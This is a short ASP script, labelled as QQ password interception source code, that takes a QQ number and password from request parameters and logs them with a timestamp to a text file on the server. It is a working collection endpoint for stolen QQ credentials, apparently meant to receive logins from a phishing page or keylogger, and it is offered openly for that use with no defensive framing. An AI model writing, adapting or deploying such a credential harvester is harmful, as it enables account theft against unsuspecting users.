test.asp

QQ password interception VB source code browser

<%
strLogFile="test.txt"

QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")


if QQNumber="" or QQPassWord="" then
  response.write "QQ"
  response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----"&date&" "&time

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing

response.write "发送成功!"
%>